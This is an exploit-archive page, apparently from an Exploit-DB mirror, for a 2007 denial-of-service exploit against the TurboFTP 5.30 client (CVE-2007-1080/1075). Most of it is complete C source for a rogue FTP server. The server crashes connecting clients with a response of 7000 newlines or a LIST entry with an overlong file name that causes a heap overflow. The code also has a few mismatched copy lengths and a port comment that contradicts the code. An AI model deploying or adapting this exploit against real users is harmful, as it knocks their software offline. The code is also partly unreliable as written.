Exploit TurboFTP Server 5.30 Build 572 - 'newline/LIST' Multiple Remote Denial of Service Vulnerabilities

[Exploiter]

EDB-ID

3341

Проверка EDB

1. Пройдено

Автор

MARSU

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2007-1080 cve-2007-1075

Дата публикации

2007-02-20

/***********************************************************************************
*                 TurboFTP 5.30 Build 572 Multiple Remote DoS                      *
*                                                                                  *
* Several vulnerabilities have been discovered in TurboFTP                         *
* 1) The app does not correctly handle reponses that contains 7000 newline chars   *
* 2) there's a heap overflow triggered by a long file name in a response to a LIST *
*    command                                                                       *
* 3) There is a heap overflow when the app sends a long CWD command                *
*                                                                                  *
* Usage: TurboFTPDoS mode, mode is 1 or 2                                          *
*                                                                                  *
* Only a DoS, I dont think code execution is possible                              *
*                                                                                  *
* Have Fun!                                                                        *
*                                                                                  *
* Coded by Marsu <[email protected]>                                      *
***********************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	char recvbuff[1024];
	char evilbuff[30000];
	sockaddr_in sin;
	int server,client;
	int mode;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));


	printf("[+] TurboFTP 5.30 Build 572 Multiple Remote DoS\n");
	printf("[+] Coded and discovered by Marsu <[email protected]>\n");
	if (argc<2)
	{
		printf("[+] Usage: %s mode, mode is 1 or 2\n",argv[0]);
		return 0;
	}
	
	mode = atoi(argv[1]);
	printf("[*] Listening on port 21 ...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");

    memset(recvbuff,'\0',1024);
	if (mode==1) {
		memset(evilbuff,10,7000);
		memcpy(evilbuff,"220 Hello there",15);
		memcpy(evilbuff+7000,"\r\n\0",3);
	}
	else 
		memcpy(evilbuff,"220 Hello there\r\n\0",18);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}

	//USER
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	if (mode==1) {
		memset(evilbuff,10,7000);
		memcpy(evilbuff,"331 ",4);
		memcpy(evilbuff+7000,"\r\n\0",3);
	}
	else 
	    memcpy(evilbuff,"331 \r\n\0",7);

	send(client,evilbuff,strlen(evilbuff),0);

	if (mode==1) {
		printf("[+] Waiting for a few seconds ...\n");
		Sleep(4000);
		printf("[+] Must be 100%% CPU consuming\n");
		return 0;
	}

	//PASS
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"230 \r\n\0",7);
	send(client,evilbuff,strlen(evilbuff),0);

	//SYST 
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
	send(client,evilbuff,strlen(evilbuff),0);

	//FEAT
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"211 END\r\n\0",10);
	send(client,evilbuff,strlen(evilbuff),0);
	
	//REST 100
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"350 rest at 100\r\n\0",10);
	send(client,evilbuff,strlen(evilbuff),0);
	
	//REST 0
    memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"350 rest at 0\r\n\0",10);
	send(client,evilbuff,strlen(evilbuff),0);

	//PWD
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"257 \"dir/\"\r\n\0",13);
    send(client,evilbuff,strlen(evilbuff),0);

	//TYPE A
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"200 \r\n\0",10);
	send(client,evilbuff,strlen(evilbuff),0);
	
	//PASV
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"227 Entering Passive Mode (127,0,0,1,40,0)\r\n\0", 45); //127.0.0.1:10200

	send(client,evilbuff,strlen(evilbuff),0);
	int ListenSock= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	sockaddr_in sin2; 
	sin2.sin_family = AF_INET;
	sin2.sin_addr.s_addr = htonl(INADDR_ANY);
	sin2.sin_port = htons( 10240 );
	bind(ListenSock,(SOCKADDR*)&sin2,sizeof(sin2));
	printf("[*] Waiting for data connection ...\n");
	listen(ListenSock,5);
	int DATAClient=accept(ListenSock,NULL,NULL);
	printf("[+] Client connected\n");
	
	//LIST	
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	int len=700;
	memset(evilbuff,'A',len);
	memcpy(evilbuff,"-rw-rw-rw-   1 ftp      ftp    1777         Jan 30 12:14 T",58);
	memcpy(evilbuff+len,"\r\n\0",3);
	send(DATAClient,evilbuff,strlen(evilbuff),0);		

	//Close control connection
	memcpy(evilbuff,"150 Opening data connection for directory list.\r\n\0",60);
    send(client,evilbuff,strlen(evilbuff),0);			
	memcpy(evilbuff,"226 OK\r\n",9);
	send(client,evilbuff,strlen(evilbuff),0);
	closesocket(DATAClient);

	printf("[+] Evil list sent\n");
	closesocket(client);
	closesocket(server); //bug is triggered there

	printf("[+] TurboFTP is out\n");
	return 0;
}

// milw0rm.com [2007-02-20]